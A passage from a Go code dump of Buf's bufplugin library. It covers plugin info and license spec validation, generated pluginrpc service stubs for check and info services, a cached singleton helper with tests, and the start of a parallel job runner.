-------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package info 16 | 17 | import ( 18 | "net/url" 19 | 20 | infov1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/info/v1" 21 | ) 22 | 23 | // PluginInfo contains information about a plugin. 24 | type PluginInfo interface { 25 | // Documentation returns the documentation of the plugin. 26 | // 27 | // Optional. 28 | Documentation() string 29 | // License returns the license of the plugin. 30 | // 31 | // Optional. 32 | License() License 33 | 34 | toProto() *infov1.PluginInfo 35 | 36 | isPluginInfo() 37 | } 38 | 39 | // NewPluginInfoForSpec returns a new PluginInfo for the given Spec. 40 | func NewPluginInfoForSpec(spec *Spec) (PluginInfo, error) { 41 | if err := ValidateSpec(spec); err != nil { 42 | return nil, err 43 | } 44 | 45 | var license *license 46 | if spec.SPDXLicenseID != "" || spec.LicenseText != "" || spec.LicenseURL != "" { 47 | var licenseURI *url.URL 48 | var err error 49 | if spec.LicenseURL != "" { 50 | licenseURI, err = url.Parse(spec.LicenseURL) 51 | if err != nil { 52 | return nil, err 53 | } 54 | } 55 | license, err = newLicense( 56 | spec.SPDXLicenseID, 57 | spec.LicenseText, 58 | licenseURI, 59 | ) 60 | if err != nil { 61 | return nil, err 62 | } 63 | } 64 | return newPluginInfo(spec.Documentation, license) 65 | } 66 | 67 | // *** PRIVATE *** 68 | 69 | type pluginInfo struct { 70 | documentation string 71 | // Need to keep as pointer for Go nil is not nil problem. 72 | license *license 73 | } 74 | 75 | func newPluginInfo( 76 | documentation string, 77 | license *license, 78 | ) (*pluginInfo, error) { 79 | return &pluginInfo{ 80 | documentation: documentation, 81 | license: license, 82 | }, nil 83 | } 84 | 85 | func (p *pluginInfo) Documentation() string { 86 | return p.documentation 87 | } 88 | 89 | func (p *pluginInfo) License() License { 90 | // Go nil is not nil problem. 91 | if p.license == nil { 92 | return nil 93 | } 94 | return p.license 95 | } 96 | 97 | func (p *pluginInfo) toProto() *infov1.PluginInfo { 98 | return &infov1.PluginInfo{ 99 | Documentation: p.documentation, 100 | License: p.license.toProto(), 101 | } 102 | } 103 | 104 | func (*pluginInfo) isPluginInfo() {} 105 | 106 | func pluginInfoForProtoPluginInfo(protoPluginInfo *infov1.PluginInfo) (PluginInfo, error) { 107 | if protoPluginInfo == nil { 108 | return nil, nil 109 | } 110 | license, err := licenseForProtoLicense(protoPluginInfo.GetLicense()) 111 | if err != nil { 112 | return nil, err 113 | } 114 | return newPluginInfo(protoPluginInfo.GetDocumentation(), license) 115 | } 116 | -------------------------------------------------------------------------------- /info/plugin_info_service_handler.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package info 16 | 17 | import ( 18 | "context" 19 | 20 | infov1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/info/v1" 21 | "buf.build/go/bufplugin/internal/gen/buf/plugin/info/v1/v1pluginrpc" 22 | "buf.build/go/protovalidate" 23 | ) 24 | 25 | // NewPluginInfoServiceHandler returns a new v1pluginrpc.PluginInfoServiceHandler for the given Spec. 26 | // 27 | // The Spec will be validated. 28 | func NewPluginInfoServiceHandler(spec *Spec, options ...PluginInfoServiceHandlerOption) (v1pluginrpc.PluginInfoServiceHandler, error) { 29 | return newPluginInfoServiceHandler(spec, options...) 30 | } 31 | 32 | // PluginInfoServiceHandlerOption is an option for PluginInfoServiceHandler. 33 | type PluginInfoServiceHandlerOption func(*pluginInfoServiceHandlerOptions) 34 | 35 | // *** PRIVATE *** 36 | 37 | type pluginInfoServiceHandler struct { 38 | getPluginInfoResponse *infov1.GetPluginInfoResponse 39 | } 40 | 41 | func newPluginInfoServiceHandler(spec *Spec, _ ...PluginInfoServiceHandlerOption) (*pluginInfoServiceHandler, error) { 42 | // Also calls ValidateSpec. 43 | pluginInfo, err := NewPluginInfoForSpec(spec) 44 | if err != nil { 45 | return nil, err 46 | } 47 | protoPluginInfo := pluginInfo.toProto() 48 | getPluginInfoResponse := &infov1.GetPluginInfoResponse{ 49 | PluginInfo: protoPluginInfo, 50 | } 51 | validator, err := protovalidate.New() 52 | if err != nil { 53 | return nil, err 54 | } 55 | if err := validator.Validate(getPluginInfoResponse); err != nil { 56 | return nil, err 57 | } 58 | return &pluginInfoServiceHandler{ 59 | getPluginInfoResponse: getPluginInfoResponse, 60 | }, nil 61 | } 62 | 63 | func (c *pluginInfoServiceHandler) GetPluginInfo(context.Context, *infov1.GetPluginInfoRequest) (*infov1.GetPluginInfoResponse, error) { 64 | return c.getPluginInfoResponse, nil 65 | } 66 | 67 | type pluginInfoServiceHandlerOptions struct{} 68 | -------------------------------------------------------------------------------- /info/plugin_info_service_handler_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package info 16 | 17 | import ( 18 | "context" 19 | "testing" 20 | 21 | infov1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/info/v1" 22 | "github.com/stretchr/testify/require" 23 | ) 24 | 25 | func TestPluginInfoServiceHandlerBasic(t *testing.T) { 26 | t.Parallel() 27 | 28 | pluginInfoServiceHandler, err := NewPluginInfoServiceHandler( 29 | &Spec{ 30 | LicenseURL: "https://foo.com/license", 31 | }, 32 | ) 33 | require.NoError(t, err) 34 | 35 | _, err = pluginInfoServiceHandler.GetPluginInfo( 36 | context.Background(), 37 | &infov1.GetPluginInfoRequest{}, 38 | ) 39 | require.NoError(t, err) 40 | } 41 | -------------------------------------------------------------------------------- /info/spec.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package info 16 | 17 | import ( 18 | "net/url" 19 | 20 | "buf.build/go/spdx" 21 | ) 22 | 23 | // Spec is the spec for the information about a plugin. 24 | type Spec struct { 25 | // Documentation contains the documentation of the plugin. 26 | // 27 | // Optional. 28 | Documentation string 29 | // SPDXLicenseID is the SDPX ID of the License. 30 | // 31 | // Optional. 32 | // 33 | // This must be present in the SPDX license list. 34 | // https://spdx.org/licenses 35 | // 36 | // This can be specified in any case. This package will translate this into 37 | // proper casing. 38 | SPDXLicenseID string 39 | // LicenseText is the raw text of the License. 40 | // 41 | // Optional. 42 | // 43 | // Zero or one of LicenseText and LicenseURL must be set. 44 | LicenseText string 45 | // LicenseURL is the URL that contains the License. 46 | // 47 | // Optional. 48 | // 49 | // Zero or one of LicenseText and LicenseURL must be set. 50 | // Must be absolute if set. 51 | LicenseURL string 52 | } 53 | 54 | // ValidateSpec validates all values on a Spec. 55 | func ValidateSpec(spec *Spec) error { 56 | if spec.SPDXLicenseID != "" { 57 | if _, ok := spdx.LicenseForID(spec.SPDXLicenseID); !ok { 58 | return newValidateSpecErrorf("invalid SPDXLicenseID: %q", spec.SPDXLicenseID) 59 | } 60 | } 61 | if spec.LicenseText != "" && spec.LicenseURL != "" { 62 | return newValidateSpecError("only one of LicenseText and LicenseURL can be set") 63 | } 64 | if spec.LicenseURL != "" { 65 | if err := validateSpecAbsoluteURL(spec.LicenseURL); err != nil { 66 | return err 67 | } 68 | } 69 | return nil 70 | } 71 | 72 | // *** PRIVATE *** 73 | 74 | func validateSpecAbsoluteURL(urlString string) error { 75 | url, err := url.Parse(urlString) 76 | if err != nil { 77 | return newValidateSpecErrorf("invalid URL: %w", err) 78 | } 79 | if url.Host == "" { 80 | return newValidateSpecErrorf("invalid URL: must be absolute: %q", urlString) 81 | } 82 | return nil 83 | } 84 | -------------------------------------------------------------------------------- /internal/gen/buf/plugin/check/v1/v1pluginrpc/check_service.pluginrpc.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | // Code generated by protoc-gen-pluginrpc-go. DO NOT EDIT. 16 | // 17 | // Source: buf/plugin/check/v1/check_service.proto 18 | 19 | package v1pluginrpc 20 | 21 | import ( 22 | v1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/check/v1" 23 | context "context" 24 | fmt "fmt" 25 | pluginrpc "pluginrpc.com/pluginrpc" 26 | ) 27 | 28 | // This is a compile-time assertion to ensure that this generated file and the pluginrpc package are 29 | // compatible. If you get a compiler error that this constant is not defined, this code was 30 | // generated with a version of pluginrpc newer than the one compiled into your binary. You can fix 31 | // the problem by either regenerating this code with an older version of pluginrpc or updating the 32 | // pluginrpc version compiled into your binary. 33 | const _ = pluginrpc.IsAtLeastVersion0_1_0 34 | 35 | const ( 36 | // CheckServiceCheckPath is the path of the CheckService's Check RPC. 37 | CheckServiceCheckPath = "/buf.plugin.check.v1.CheckService/Check" 38 | // CheckServiceListRulesPath is the path of the CheckService's ListRules RPC. 39 | CheckServiceListRulesPath = "/buf.plugin.check.v1.CheckService/ListRules" 40 | // CheckServiceListCategoriesPath is the path of the CheckService's ListCategories RPC. 41 | CheckServiceListCategoriesPath = "/buf.plugin.check.v1.CheckService/ListCategories" 42 | ) 43 | 44 | // CheckServiceSpecBuilder builds a Spec for the buf.plugin.check.v1.CheckService service. 45 | type CheckServiceSpecBuilder struct { 46 | Check []pluginrpc.ProcedureOption 47 | ListRules []pluginrpc.ProcedureOption 48 | ListCategories []pluginrpc.ProcedureOption 49 | } 50 | 51 | // Build builds a Spec for the buf.plugin.check.v1.CheckService service. 52 | func (s CheckServiceSpecBuilder) Build() (pluginrpc.Spec, error) { 53 | procedures := make([]pluginrpc.Procedure, 0, 3) 54 | procedure, err := pluginrpc.NewProcedure(CheckServiceCheckPath, s.Check...) 55 | if err != nil { 56 | return nil, err 57 | } 58 | procedures = append(procedures, procedure) 59 | procedure, err = pluginrpc.NewProcedure(CheckServiceListRulesPath, s.ListRules...) 60 | if err != nil { 61 | return nil, err 62 | } 63 | procedures = append(procedures, procedure) 64 | procedure, err = pluginrpc.NewProcedure(CheckServiceListCategoriesPath, s.ListCategories...) 65 | if err != nil { 66 | return nil, err 67 | } 68 | procedures = append(procedures, procedure) 69 | return pluginrpc.NewSpec(procedures...) 70 | } 71 | 72 | // CheckServiceClient is a client for the buf.plugin.check.v1.CheckService service. 73 | type CheckServiceClient interface { 74 | // Check a set of FileDescriptors for failures. 75 | // 76 | // All Annotations returned will have an ID that is contained within a Rule listed by ListRules. 77 | Check(context.Context, *v1.CheckRequest, ...pluginrpc.CallOption) (*v1.CheckResponse, error) 78 | // List all rules that this service implements. 79 | ListRules(context.Context, *v1.ListRulesRequest, ...pluginrpc.CallOption) (*v1.ListRulesResponse, error) 80 | // List all categories that this service implements. 81 | ListCategories(context.Context, *v1.ListCategoriesRequest, ...pluginrpc.CallOption) (*v1.ListCategoriesResponse, error) 82 | } 83 | 84 | // NewCheckServiceClient constructs a client for the buf.plugin.check.v1.CheckService service. 85 | func NewCheckServiceClient(client pluginrpc.Client) (CheckServiceClient, error) { 86 | return &checkServiceClient{ 87 | client: client, 88 | }, nil 89 | } 90 | 91 | // CheckServiceHandler is an implementation of the buf.plugin.check.v1.CheckService service. 92 | type CheckServiceHandler interface { 93 | // Check a set of FileDescriptors for failures. 94 | // 95 | // All Annotations returned will have an ID that is contained within a Rule listed by ListRules. 96 | Check(context.Context, *v1.CheckRequest) (*v1.CheckResponse, error) 97 | // List all rules that this service implements. 98 | ListRules(context.Context, *v1.ListRulesRequest) (*v1.ListRulesResponse, error) 99 | // List all categories that this service implements. 100 | ListCategories(context.Context, *v1.ListCategoriesRequest) (*v1.ListCategoriesResponse, error) 101 | } 102 | 103 | // CheckServiceServer serves the buf.plugin.check.v1.CheckService service. 104 | type CheckServiceServer interface { 105 | // Check a set of FileDescriptors for failures. 106 | // 107 | // All Annotations returned will have an ID that is contained within a Rule listed by ListRules. 108 | Check(context.Context, pluginrpc.HandleEnv, ...pluginrpc.HandleOption) error 109 | // List all rules that this service implements. 110 | ListRules(context.Context, pluginrpc.HandleEnv, ...pluginrpc.HandleOption) error 111 | // List all categories that this service implements. 112 | ListCategories(context.Context, pluginrpc.HandleEnv, ...pluginrpc.HandleOption) error 113 | } 114 | 115 | // NewCheckServiceServer constructs a server for the buf.plugin.check.v1.CheckService service. 116 | func NewCheckServiceServer(handler pluginrpc.Handler, checkServiceHandler CheckServiceHandler) CheckServiceServer { 117 | return &checkServiceServer{ 118 | handler: handler, 119 | checkServiceHandler: checkServiceHandler, 120 | } 121 | } 122 | 123 | // RegisterCheckServiceServer registers the server for the buf.plugin.check.v1.CheckService service. 124 | func RegisterCheckServiceServer(serverRegistrar pluginrpc.ServerRegistrar, checkServiceServer CheckServiceServer) { 125 | serverRegistrar.Register(CheckServiceCheckPath, checkServiceServer.Check) 126 | serverRegistrar.Register(CheckServiceListRulesPath, checkServiceServer.ListRules) 127 | serverRegistrar.Register(CheckServiceListCategoriesPath, checkServiceServer.ListCategories) 128 | } 129 | 130 | // *** PRIVATE *** 131 | 132 | // checkServiceClient implements CheckServiceClient. 133 | type checkServiceClient struct { 134 | client pluginrpc.Client 135 | } 136 | 137 | // Check calls buf.plugin.check.v1.CheckService.Check. 138 | func (c *checkServiceClient) Check(ctx context.Context, req *v1.CheckRequest, opts ...pluginrpc.CallOption) (*v1.CheckResponse, error) { 139 | res := &v1.CheckResponse{} 140 | if err := c.client.Call(ctx, CheckServiceCheckPath, req, res, opts...); err != nil { 141 | return nil, err 142 | } 143 | return res, nil 144 | } 145 | 146 | // ListRules calls buf.plugin.check.v1.CheckService.ListRules. 147 | func (c *checkServiceClient) ListRules(ctx context.Context, req *v1.ListRulesRequest, opts ...pluginrpc.CallOption) (*v1.ListRulesResponse, error) { 148 | res := &v1.ListRulesResponse{} 149 | if err := c.client.Call(ctx, CheckServiceListRulesPath, req, res, opts...); err != nil { 150 | return nil, err 151 | } 152 | return res, nil 153 | } 154 | 155 | // ListCategories calls buf.plugin.check.v1.CheckService.ListCategories. 156 | func (c *checkServiceClient) ListCategories(ctx context.Context, req *v1.ListCategoriesRequest, opts ...pluginrpc.CallOption) (*v1.ListCategoriesResponse, error) { 157 | res := &v1.ListCategoriesResponse{} 158 | if err := c.client.Call(ctx, CheckServiceListCategoriesPath, req, res, opts...); err != nil { 159 | return nil, err 160 | } 161 | return res, nil 162 | } 163 | 164 | // checkServiceServer implements CheckServiceServer. 165 | type checkServiceServer struct { 166 | handler pluginrpc.Handler 167 | checkServiceHandler CheckServiceHandler 168 | } 169 | 170 | // Check calls buf.plugin.check.v1.CheckService.Check. 171 | func (c *checkServiceServer) Check(ctx context.Context, handleEnv pluginrpc.HandleEnv, options ...pluginrpc.HandleOption) error { 172 | return c.handler.Handle( 173 | ctx, 174 | handleEnv, 175 | &v1.CheckRequest{}, 176 | func(ctx context.Context, anyReq any) (any, error) { 177 | req, ok := anyReq.(*v1.CheckRequest) 178 | if !ok { 179 | return nil, fmt.Errorf("could not cast %T to a *v1.CheckRequest", anyReq) 180 | } 181 | return c.checkServiceHandler.Check(ctx, req) 182 | }, 183 | options..., 184 | ) 185 | } 186 | 187 | // ListRules calls buf.plugin.check.v1.CheckService.ListRules. 188 | func (c *checkServiceServer) ListRules(ctx context.Context, handleEnv pluginrpc.HandleEnv, options ...pluginrpc.HandleOption) error { 189 | return c.handler.Handle( 190 | ctx, 191 | handleEnv, 192 | &v1.ListRulesRequest{}, 193 | func(ctx context.Context, anyReq any) (any, error) { 194 | req, ok := anyReq.(*v1.ListRulesRequest) 195 | if !ok { 196 | return nil, fmt.Errorf("could not cast %T to a *v1.ListRulesRequest", anyReq) 197 | } 198 | return c.checkServiceHandler.ListRules(ctx, req) 199 | }, 200 | options..., 201 | ) 202 | } 203 | 204 | // ListCategories calls buf.plugin.check.v1.CheckService.ListCategories. 205 | func (c *checkServiceServer) ListCategories(ctx context.Context, handleEnv pluginrpc.HandleEnv, options ...pluginrpc.HandleOption) error { 206 | return c.handler.Handle( 207 | ctx, 208 | handleEnv, 209 | &v1.ListCategoriesRequest{}, 210 | func(ctx context.Context, anyReq any) (any, error) { 211 | req, ok := anyReq.(*v1.ListCategoriesRequest) 212 | if !ok { 213 | return nil, fmt.Errorf("could not cast %T to a *v1.ListCategoriesRequest", anyReq) 214 | } 215 | return c.checkServiceHandler.ListCategories(ctx, req) 216 | }, 217 | options..., 218 | ) 219 | } 220 | -------------------------------------------------------------------------------- /internal/gen/buf/plugin/info/v1/v1pluginrpc/plugin_info_service.pluginrpc.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | // Code generated by protoc-gen-pluginrpc-go. DO NOT EDIT. 16 | // 17 | // Source: buf/plugin/info/v1/plugin_info_service.proto 18 | 19 | package v1pluginrpc 20 | 21 | import ( 22 | v1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/info/v1" 23 | context "context" 24 | fmt "fmt" 25 | pluginrpc "pluginrpc.com/pluginrpc" 26 | ) 27 | 28 | // This is a compile-time assertion to ensure that this generated file and the pluginrpc package are 29 | // compatible. If you get a compiler error that this constant is not defined, this code was 30 | // generated with a version of pluginrpc newer than the one compiled into your binary. You can fix 31 | // the problem by either regenerating this code with an older version of pluginrpc or updating the 32 | // pluginrpc version compiled into your binary. 33 | const _ = pluginrpc.IsAtLeastVersion0_1_0 34 | 35 | const ( 36 | // PluginInfoServiceGetPluginInfoPath is the path of the PluginInfoService's GetPluginInfo RPC. 37 | PluginInfoServiceGetPluginInfoPath = "/buf.plugin.info.v1.PluginInfoService/GetPluginInfo" 38 | ) 39 | 40 | // PluginInfoServiceSpecBuilder builds a Spec for the buf.plugin.info.v1.PluginInfoService service. 41 | type PluginInfoServiceSpecBuilder struct { 42 | GetPluginInfo []pluginrpc.ProcedureOption 43 | } 44 | 45 | // Build builds a Spec for the buf.plugin.info.v1.PluginInfoService service. 46 | func (s PluginInfoServiceSpecBuilder) Build() (pluginrpc.Spec, error) { 47 | procedures := make([]pluginrpc.Procedure, 0, 1) 48 | procedure, err := pluginrpc.NewProcedure(PluginInfoServiceGetPluginInfoPath, s.GetPluginInfo...) 49 | if err != nil { 50 | return nil, err 51 | } 52 | procedures = append(procedures, procedure) 53 | return pluginrpc.NewSpec(procedures...) 54 | } 55 | 56 | // PluginInfoServiceClient is a client for the buf.plugin.info.v1.PluginInfoService service. 57 | type PluginInfoServiceClient interface { 58 | // GetPluginInfo gets information about the plugin. 59 | GetPluginInfo(context.Context, *v1.GetPluginInfoRequest, ...pluginrpc.CallOption) (*v1.GetPluginInfoResponse, error) 60 | } 61 | 62 | // NewPluginInfoServiceClient constructs a client for the buf.plugin.info.v1.PluginInfoService 63 | // service. 64 | func NewPluginInfoServiceClient(client pluginrpc.Client) (PluginInfoServiceClient, error) { 65 | return &pluginInfoServiceClient{ 66 | client: client, 67 | }, nil 68 | } 69 | 70 | // PluginInfoServiceHandler is an implementation of the buf.plugin.info.v1.PluginInfoService 71 | // service. 72 | type PluginInfoServiceHandler interface { 73 | // GetPluginInfo gets information about the plugin. 74 | GetPluginInfo(context.Context, *v1.GetPluginInfoRequest) (*v1.GetPluginInfoResponse, error) 75 | } 76 | 77 | // PluginInfoServiceServer serves the buf.plugin.info.v1.PluginInfoService service. 78 | type PluginInfoServiceServer interface { 79 | // GetPluginInfo gets information about the plugin. 80 | GetPluginInfo(context.Context, pluginrpc.HandleEnv, ...pluginrpc.HandleOption) error 81 | } 82 | 83 | // NewPluginInfoServiceServer constructs a server for the buf.plugin.info.v1.PluginInfoService 84 | // service. 85 | func NewPluginInfoServiceServer(handler pluginrpc.Handler, pluginInfoServiceHandler PluginInfoServiceHandler) PluginInfoServiceServer { 86 | return &pluginInfoServiceServer{ 87 | handler: handler, 88 | pluginInfoServiceHandler: pluginInfoServiceHandler, 89 | } 90 | } 91 | 92 | // RegisterPluginInfoServiceServer registers the server for the buf.plugin.info.v1.PluginInfoService 93 | // service. 94 | func RegisterPluginInfoServiceServer(serverRegistrar pluginrpc.ServerRegistrar, pluginInfoServiceServer PluginInfoServiceServer) { 95 | serverRegistrar.Register(PluginInfoServiceGetPluginInfoPath, pluginInfoServiceServer.GetPluginInfo) 96 | } 97 | 98 | // *** PRIVATE *** 99 | 100 | // pluginInfoServiceClient implements PluginInfoServiceClient. 101 | type pluginInfoServiceClient struct { 102 | client pluginrpc.Client 103 | } 104 | 105 | // GetPluginInfo calls buf.plugin.info.v1.PluginInfoService.GetPluginInfo. 106 | func (c *pluginInfoServiceClient) GetPluginInfo(ctx context.Context, req *v1.GetPluginInfoRequest, opts ...pluginrpc.CallOption) (*v1.GetPluginInfoResponse, error) { 107 | res := &v1.GetPluginInfoResponse{} 108 | if err := c.client.Call(ctx, PluginInfoServiceGetPluginInfoPath, req, res, opts...); err != nil { 109 | return nil, err 110 | } 111 | return res, nil 112 | } 113 | 114 | // pluginInfoServiceServer implements PluginInfoServiceServer. 115 | type pluginInfoServiceServer struct { 116 | handler pluginrpc.Handler 117 | pluginInfoServiceHandler PluginInfoServiceHandler 118 | } 119 | 120 | // GetPluginInfo calls buf.plugin.info.v1.PluginInfoService.GetPluginInfo. 121 | func (c *pluginInfoServiceServer) GetPluginInfo(ctx context.Context, handleEnv pluginrpc.HandleEnv, options ...pluginrpc.HandleOption) error { 122 | return c.handler.Handle( 123 | ctx, 124 | handleEnv, 125 | &v1.GetPluginInfoRequest{}, 126 | func(ctx context.Context, anyReq any) (any, error) { 127 | req, ok := anyReq.(*v1.GetPluginInfoRequest) 128 | if !ok { 129 | return nil, fmt.Errorf("could not cast %T to a *v1.GetPluginInfoRequest", anyReq) 130 | } 131 | return c.pluginInfoServiceHandler.GetPluginInfo(ctx, req) 132 | }, 133 | options..., 134 | ) 135 | } 136 | -------------------------------------------------------------------------------- /internal/pkg/cache/singleton.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package cache 16 | 17 | import ( 18 | "context" 19 | "errors" 20 | "sync" 21 | ) 22 | 23 | // Singleton is a singleton. 24 | // 25 | // It must be constructed with NewSingleton. 26 | type Singleton[V any] struct { 27 | get func(context.Context) (V, error) 28 | value V 29 | err error 30 | // Storing a bool to not deal with generic zero/nil comparisons. 31 | called bool 32 | lock sync.RWMutex 33 | } 34 | 35 | // NewSingleton returns a new Singleton. 36 | // 37 | // The get function must only return the zero value of V on error. 38 | func NewSingleton[V any](get func(context.Context) (V, error)) *Singleton[V] { 39 | return &Singleton[V]{ 40 | get: get, 41 | } 42 | } 43 | 44 | // Get gets the value, or returns the error in loading the value. 45 | // 46 | // The given context will be used to load the value if not already loaded. 47 | // 48 | // If Singletons call Singletons, lock ordering must be respected. 49 | func (s *Singleton[V]) Get(ctx context.Context) (V, error) { 50 | if s.get == nil { 51 | var zero V 52 | return zero, errors.New("must create singleton with NewSingleton and a non-nil get function") 53 | } 54 | s.lock.RLock() 55 | if s.called { 56 | s.lock.RUnlock() 57 | return s.value, s.err 58 | } 59 | s.lock.RUnlock() 60 | s.lock.Lock() 61 | defer s.lock.Unlock() 62 | if !s.called { 63 | s.value, s.err = s.get(ctx) 64 | s.called = true 65 | } 66 | return s.value, s.err 67 | } 68 | -------------------------------------------------------------------------------- /internal/pkg/cache/singleton_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package cache 16 | 17 | import ( 18 | "context" 19 | "fmt" 20 | "testing" 21 | 22 | "github.com/stretchr/testify/require" 23 | ) 24 | 25 | func TestBasic(t *testing.T) { 26 | t.Parallel() 27 | 28 | ctx := context.Background() 29 | 30 | var count int 31 | singleton := NewSingleton( 32 | func(context.Context) (int, error) { 33 | count++ 34 | return count, nil 35 | }, 36 | ) 37 | value, err := singleton.Get(ctx) 38 | require.NoError(t, err) 39 | require.Equal(t, 1, value) 40 | value, err = singleton.Get(ctx) 41 | require.NoError(t, err) 42 | require.Equal(t, 1, value) 43 | 44 | count = 0 45 | singleton = NewSingleton( 46 | func(context.Context) (int, error) { 47 | count++ 48 | return 0, fmt.Errorf("%d", count) 49 | }, 50 | ) 51 | _, err = singleton.Get(ctx) 52 | require.Error(t, err) 53 | require.Equal(t, "1", err.Error()) 54 | _, err = singleton.Get(ctx) 55 | require.Error(t, err) 56 | require.Equal(t, "1", err.Error()) 57 | } 58 | -------------------------------------------------------------------------------- /internal/pkg/compare/compare.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package compare 16 | 17 | // CompareInts returns -1 if one < two, 1 if one > two, 0 otherwise. 18 | func CompareInts(one int, two int) int { 19 | if one < two { 20 | return -1 21 | } 22 | if one > two { 23 | return 1 24 | } 25 | return 0 26 | } 27 | -------------------------------------------------------------------------------- /internal/pkg/thread/thread.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package thread 16 | 17 | import ( 18 | "context" 19 | "errors" 20 | "runtime" 21 | "sync" 22 | ) 23 | 24 | var defaultParallelism = runtime.GOMAXPROCS(0) 25 | 26 | // Parallelize runs the jobs in parallel. 27 | // 28 | // Returns the combined error from the jobs. 29 | func Parallelize(ctx context.Context, jobs []func(context.Context) error, options ...ParallelizeOption) error { 30 | parallelizeOptions := 